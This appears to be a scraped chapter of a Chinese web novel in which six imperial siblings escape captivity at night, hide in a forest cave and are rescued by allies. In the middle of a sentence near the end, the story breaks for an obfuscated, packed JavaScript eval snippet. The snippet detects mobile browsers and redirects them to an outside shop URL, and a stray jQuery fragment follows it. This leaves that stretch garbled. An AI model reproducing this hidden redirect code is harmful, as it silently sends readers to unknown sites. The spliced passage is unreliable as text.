57.暗夜逃狱,林穴暂栖
作品:《萧墙龙影,九州潮》 沈知韫半跪在地,小心翼翼地将沈屹星扶到墙角的草堆上,枯草被血渍浸湿,黏在少年破烂的衣袍上,触目惊心。沈清韵紧随其后,蹲下身时动作都带着轻颤,指尖刚碰到沈屹星的衣襟,就被那片滚烫的血污烫得心头一紧。她咬了咬牙,缓缓解开他衣袍的系带——布料早已和皮肉黏连,每扯动一下,让沈屹星蹙紧了眉头,喉间溢出细碎的痛哼。
褪去衣袍,所有人都倒吸一口凉气。他身上没有一块完好的肌肤,旧的鞭痕尚未结痂,新的烙铁印在胸口泛着焦黑,边缘还渗着暗红的血珠;胳膊和大腿上的伤口深浅不一,有的还在往外渗血,顺着草堆往下淌,在青石板上积成小小的血洼。沈漉允看得脸色发白,下意识往沈夙眠身后躲,双手紧紧攥着她的衣袖,声音带着哭腔:“三姐……四哥他……他会不会死了啊?”
沈夙眠拍了拍她的手背,指尖却在微微发颤,抬眼看向沈清韵:“先止血,再拖下去他撑不住。”
沈清韵点头,手忙脚乱地摸向自己的衣襟——往日里用来擦拭的绢帕,早在之前受刑时被鞭子抽飞,此刻身上只有这件半旧的襦裙。她没有半分犹豫,抬手攥住裙摆,猛地用力一扯,“刺啦”一声,布料撕裂的声响在寂静的牢房里格外清晰。她将撕下的布条叠成几层,蘸了点从墙角接来的冷水,轻轻按在沈屹星胸口的烙铁印上。
“唔……”沈屹星疼得浑身一颤,眉头皱得更紧,冷汗顺着额角往下淌。
“忍一忍,屹星,很快就好。”沈清韵的声音带着哽咽,动作却不敢停。她小心翼翼地用布条缠住伤口,力道不敢太重,生怕扯疼他,又怕太松止不住血,只能一点点调整。
沈夙眠看着沈屹星脚踝上的铁链,那铁链很粗,冰冷的金属扣在血肉模糊的脚踝上,早已和伤口黏在一起。她心头一热,猛地站起身,走到沈屹星脚边,双手紧紧攥住铁链两端。
“姐,你行不行?”沈行裴凑过来,想帮忙却又怕添乱,只能紧张地看着她。
沈夙眠没说话,深吸一口气,手腕猛地发力——“咔哒”一声轻响,铁链的连接处竟真的被她拽得松动了几分。“砰!”随着一声闷响,铁链应声断裂,落在地上发出清脆的声响。看着沈屹星脚踝上的伤口,鼻子有些酸涩,眼泪差点掉下来——从前他们兄妹几个,哪次有难不是各自顾着逃命,别说互相帮忙,甚至会为了自保推搡对方。可如今看着沈屹星奄奄一息的模样,她只觉得心口像被堵住似的,连呼吸都带着疼。
那时候的他们,总觉得血缘不过是名义上的牵绊,可直到此刻身陷囹圄,看着彼此身上的伤口,才真正明白“患难见真情”这五个字的重量。
沈知韫起身走到牢门边,透过铁栏的缝隙往外看。外面静悄悄的,只有走廊尽头的牛油灯芯燃着微弱的光,偶尔传来侍卫走动的脚步声,却离得很远。他回头看了眼众人,压低声音道:“现在还不是时候,等午夜侍卫换班,咱们再动手。”
几人点头,沈行裴坐在草堆边,轻轻握住沈屹星的手,指尖还在微微颤抖。沈漉允靠在沈夙眠身边,渐渐止住了哭声,只是眼神依旧怯生生的,时不时看向沈屹星,生怕他再也醒不过来。沈清韵则靠在墙角,闭目养神,却始终竖着耳朵,留意着外面的动静。
时间一点点过去,牢房里只剩下几人的呼吸声和沈屹星偶尔的痛哼。窗外的夜色越来越浓,走廊里的脚步声渐渐稀疏,终于到了午夜换班的时辰。沈知韫猛地睁开眼,他轻轻推了推沈清韵和沈夙眠,用口型示意:“准备走。”
沈清韵和沈夙眠立刻起身,动作轻得像猫。沈行裴和沈漉允扶着沈屹星的胳膊,小心翼翼地将他架起来——沈屹星依旧昏迷着,头歪在沈行裴肩头,浑身软得像没了骨头。
沈知韫走到牢门边,从袖口摸出钥匙,指尖因为紧张微微发颤。他将钥匙插进锁孔,轻轻转动——“咔哒”一声,锁芯转动的声响在寂静的夜里格外清晰。他屏住呼吸,侧耳听了听外面的动静,确认侍卫已经走远,才缓缓拉开牢门。
“走!”他压低声音,率先走了出去,回头示意众人跟上。
沈行裴和沈漉允架着沈屹星,一步步往外挪。少年身上的伤口被拉扯着,每走一步都疼得他眉头紧蹙,却始终没醒过来。沈清韵和沈夙眠跟在后面,时刻留意着四周,手按在腰间的匕首上——那是之前藏在靴子里,没被搜走,此刻成了他们唯一的防身武器。
这里漆黑一片,几人贴着墙根走,脚步轻得几乎没有声音。转过一个拐角时,突然听到前面传来侍卫的说话声,几人瞬间僵住,沈知韫立刻将众人拉到墙角的阴影里,屏住呼吸。
“这破地方真没意思,天天守着那六个人,连点乐子都没有。”一个侍卫的声音带着抱怨。
“别废话了,赶紧换班,我还等着回去睡觉呢。”另一个侍卫不耐烦地说。
脚步声越来越近,沈知韫的心提到了嗓子眼。沈漉允太过紧张,不小心碰到沈屹星的伤口,沈屹星闷哼一声。
“谁在那里?!”
沈夙眠反应最快,一脚踹向旁边的木椅,沉重的木椅“哗啦”一声砸向那几个黑衣人,刚好挡住他们的去路“快走!”
沈知韫见状,立刻带着其他人往外跑。沈漉允和沈行裴扶着沈屹星,脚步踉跄,却不敢有半分停留。沈清韵跟在最后,时不时回头查看。
跑出那座关押他们的密室,外面竟是一片茂密的林子。夜风吹过树叶,发出“沙沙”的声响,远处隐约传来追兵的呼喊声。“往这边走!”沈知韫辨认了一下方向,带着众人往林子深处跑。这里离萧国京城极远,四周全是陌生的树木,他们只能凭着感觉往前冲。
沈行裴和沈漉允扶着沈屹星,渐渐没了力气,只能拖着他往前走——沈屹星的裤脚早已被血浸透,在地上拖出一道长长的血痕。不知跑了多久,直到身后的追兵声越来越远,几人才敢停下脚步。天太黑了,根本看不清路,沈知韫借着月光,隐约看到前面有个山洞。
山洞不大,黑漆漆的,还带着一股潮湿的霉味。刚走进山洞,远处就传来几声狼嚎,声音凄厉,在夜里格外吓人。沈漉允吓得浑身一哆嗦,下意识抓住沈屹星的手。沈夙眠和沈清韵同时握着匕首,站在洞口警惕地观察——追兵随时可能找来,狼也可能被血腥味吸引过来,必须时刻保持警惕。
沈行裴则在山洞里摸索着,找到几块干燥的木头和枯草,和几块石头,“咔嗒”几声,火星溅起,枯草很快燃了起来,橘红色的火焰照亮了山洞的一角。沈知韫坐在火堆旁,借着光在地上画着简易的地图:“我们消失了四天,官府和聊落羡肯定派人来找。这里离萧国太远,我们得先想办法联系阮将军他们。”
这时躺在地上的沈屹星忽然动了动,喉咙里发出微弱的呻吟。“四哥醒了!”沈漉允立刻凑过去,声音里满是惊喜。沈知韫等人也连忙围上前,只见沈屹星缓缓睁开眼,眼神还有些涣散,过了好一会儿,才看清眼前的人。
“我们……逃出来了?”他的声音沙哑得几乎听不清,胸口的伤口因为说话而牵扯着疼。沈清韵点了点头,伸手摸了摸他的额头:“嗯,逃出来了,现在安全了。”
沈屹星动了动胳膊,伤口传来的剧痛让他倒吸一口凉气,也让他更加清楚自己的处境。“别管我了…”他的声音很轻,“你们赶紧走。我现在就是个累赘,只会拖累你们,万一追兵找来,你们……”
“沈屹星!你给我闭嘴!”没等他说完,沈夙眠就猛地转过身,眼眶通红地瞪着他,声音里满是怒气,“什么叫别管你了?我们是兄妹,要活一起活,要死一起死!娘不是自小教导我们要互帮互助吗?你好好养伤,有我们在,不会让你有事的。”
沈知韫也开口:“放心,哥一定会带你们回家的。娘还在等着我们,我们谁都不能落下。”
第二天,天刚蒙蒙亮,山洞外的鸟鸣就把几人闹醒了。沈知韫揉了揉发胀的太阳穴,刚站起身就踉跄了一下——后背的伤口被扯得生疼,昨晚靠在石壁上睡了半宿,浑身骨头都像散了架。他转头看向草堆,沈屹星还昏昏沉沉地睡着,脸色白得像纸,嘴唇却泛着不正常的红,显然是伤口发炎在发热。
“得赶紧走,再拖下去该撑不住了。”沈清韵蹲下身,轻轻拍了拍沈屹星的脸颊,少年睫毛颤了颤,却没醒过来。沈行裴和沈漉允见状,立刻上前帮忙,两人一左一右架住沈屹星的胳膊,沈行裴刚一用力,沈屹星就“嘶”地抽了口气,眉头紧紧皱起。
“轻点轻点!你想把他胳膊拽下来啊?”沈漉允一把拍开沈行裴的手,自己小心翼翼地托住沈屹星的腰。
几人就这么连扶带拖地上了路,“哥,咱们这是走哪了啊?我怎么看着这树都长得一个样?”沈夙眠问。
沈知韫停下脚步,看着眼前纵横交错的小路,心里也犯了嘀咕。昨天光顾着逃跑,根本没记路,如今看着满眼的绿树,只觉得头更晕了。“应该是往东边走吧……”他不确定地指了指左边的路,“我记得昨天晚上看到东边有星星,往那边走准没错。”
沈漉允有些无语:“哥,你上次说跟着月亮走能回家,结果咱们绕了三个圈又回到原地了……你导路就没一次靠谱过,不是破庙就是粪坑旁边”
这话一出,沈知韫的脸瞬间红了,强装镇定地说:“那是上次!这次不一样,我肯定没记错!”说着就带头往左边走,可没走几步,就听到“扑通”一声——沈行裴没注意脚下的坑,带着沈屹星一起摔了下去。
“我的腰!”沈行裴疼得嗷嗷叫,沈屹星也被摔得清醒了一瞬,迷茫地看了看四周,又昏了过去。沈清韵吓得心脏都快跳出来,连忙冲过去扶他:“没事吧?腰摔断了没?”可话刚说完,就瞥见旁边的沈屹星——他躺在地上,眼睛紧闭着,脸色白得像张纸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987685|193417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连之前微弱的呼吸都好像停了,看上去似乎“没气了”。
沈漉允和沈知韫赶紧跑过来,伸手就去探沈屹星的鼻息,指尖触到那丝若有若无的气息,才勉强松了口气。两人一左一右扶起沈屹星,沈漉允还小心翼翼地托着他的后脑勺,生怕再磕着。
几人重新起身,咬着牙往前赶。沈屹星的状态越来越差,呼吸越来越急促,脸上的伤口也开始渗血,染得沈行裴的衣服上都是血渍。一路上,沈知韫和沈夙眠换了好几次手,两人的胳膊都酸得抬不起来,却没人敢停下。
一直走到半夜,月亮都升到了头顶,几人终于撑不住了,瘫坐在一片空地上。沈屹星的状态也越来越不好。
就在这时,远处传来一阵马蹄声,伴随着熟悉的呼喊:“小韫!清韵!你们在哪?”
“是干娘的声音!”沈行裴一下子跳了起来,不顾身上的疼,朝着声音的方向大喊:“干娘!我们在这儿!我们在这儿!”
很快,几道身影朝着这边跑来,为首的正是纪璟雯。她手里举着火把,看到坐在地上的几人,眼睛瞬间亮了。快步跑过来,又朝着身后大喊:“将军!找到了!”
阮惗听到声音,立刻带着几个暗卫赶了过来。看到沈知韫几人浑身是伤、狼狈不堪的模样,她的眼眶瞬间红了:“小韫,你们没事吧?可把我们急坏了!”
“干娘……”沈知韫看到她们,紧绷的神经终于放松下来,声音带着一丝哽咽。
几个暗卫连忙上前,想扶沈清韵和沈夙眠,可当他们看到沈漉允和沈行裴身边昏迷的沈屹星时,都吓了一跳——十四岁的少年脸上布满了大大小小的疤痕,有的还在渗血,胸口的布条被血染红了大半,浑身毫无生气,看上去触目惊心。
阮惗也看到了沈屹星,连忙快步上前,小心翼翼地把他扶起来,手指触到他滚烫的皮肤,心疼得不行:“怎么伤成这样……快!来几个人,把四皇子抬到马车上!”
两个暗卫立刻上前,用带来的担架小心翼翼地把沈屹星抬起来,动作轻得像在呵护易碎的珍宝。沈知韫几人也被暗卫扶着,慢慢走向不远处的马车。
马车一路颠簸,终于到了城门口。刚掀开车帘,就看到萧国几个皇子、公主,平时和他们玩得好的都早已等候在那里,看到几人浑身是伤的模样,全都愣在了原地。云榆景最先反应过来,快步上前,一把将沈清韵抱在怀里,往府里走。
萧霈尘的目光落在沈夙眠身上,看到她胳膊上的鞭痕和脸上的血渍,心疼得不行。沈夙眠也满是委屈,眼眶红红的,正要朝着他扑过去,却见温绪礼突然走到萧霈尘身前,语气平淡:“二皇子,抱歉,借过一下。”说着就伸手扶住沈夙眠的胳膊,动作轻柔地问:“能走吗?我送你回去。”
沈夙眠愣了一下,下意识地靠向温绪礼。萧霈尘伸在半空的手僵住了,看着两人的背影,脸色瞬间沉了下来,却也只能眼睁睁看着他们离开。
回到念府,早就等候在门口的丫鬟们立刻上前想搀扶,可当看到担架上的沈屹星时,全都吓傻了。有几个胆小的丫鬟甚至往后退了几步,差点晕过去。
就在这时,依云快步跑了过来,一边拨开人群一边喊:“让开让开!都愣着干什么?快把四皇子抬到内院,大夫早就等着了!”她快步走到担架旁,看着沈屹星的模样,眼圈瞬间红了,却还是强忍着眼泪,指挥着丫鬟们小心地把沈屹星抬进府里。
沈知韫几人也被搀扶着走进内院,看着忙碌的丫鬟和赶来的大夫,悬了一路的心慢慢放了下来——他们终于回家了。
念府内院的房间里,药味混着未散的血腥味弥漫在空气中。沈知韫靠坐在床头,后背垫着软枕,大夫刚为他重新包扎好伤口,白色的纱布缠了一圈又一圈,将原本渗血的伤处牢牢裹住。搁这帘子的旁边是沈清韵和沈夙眠分坐在两侧的床榻上,脸色都还带着几分苍白。沈行裴和沈漉允则挤在一张小床上,两个十一岁的孩子累得睁不开眼,却还强撑着没睡。
就在这时,门外传来一阵急促的脚步声,伴随着乔稚渔焦急的呼喊:“阿韫!清韵!”
房门被推开,乔稚渔率先冲了进来,身后跟着乔稚星、余书荞和萧艺凡。几人一进门就被浓重的血腥味呛得皱眉,看到房间里缠着纱布的几人,脸色瞬间变了。
乔稚渔的目光第一时间落在沈知韫身上,看到他胸前、后背都裹着纱布,手臂上还露着几道未愈合的鞭痕,眼泪瞬间涌满了眼眶,声音发颤:“……怎么伤成这样了?”她快步走到床边,想碰又不敢碰,只能红着眼眶上下打量,生怕漏看一处伤口。
沈知韫看着她焦急的模样,勉强笑了笑,声音有些虚弱:“没事,都过去了,我这不好好的吗?”
乔稚星没顾上寒暄,目光在房间里扫了一圈,没看到沈屹星的身影,心里一紧,连忙问道:“清韵姐,夙眠姐,沈屹星呢?”

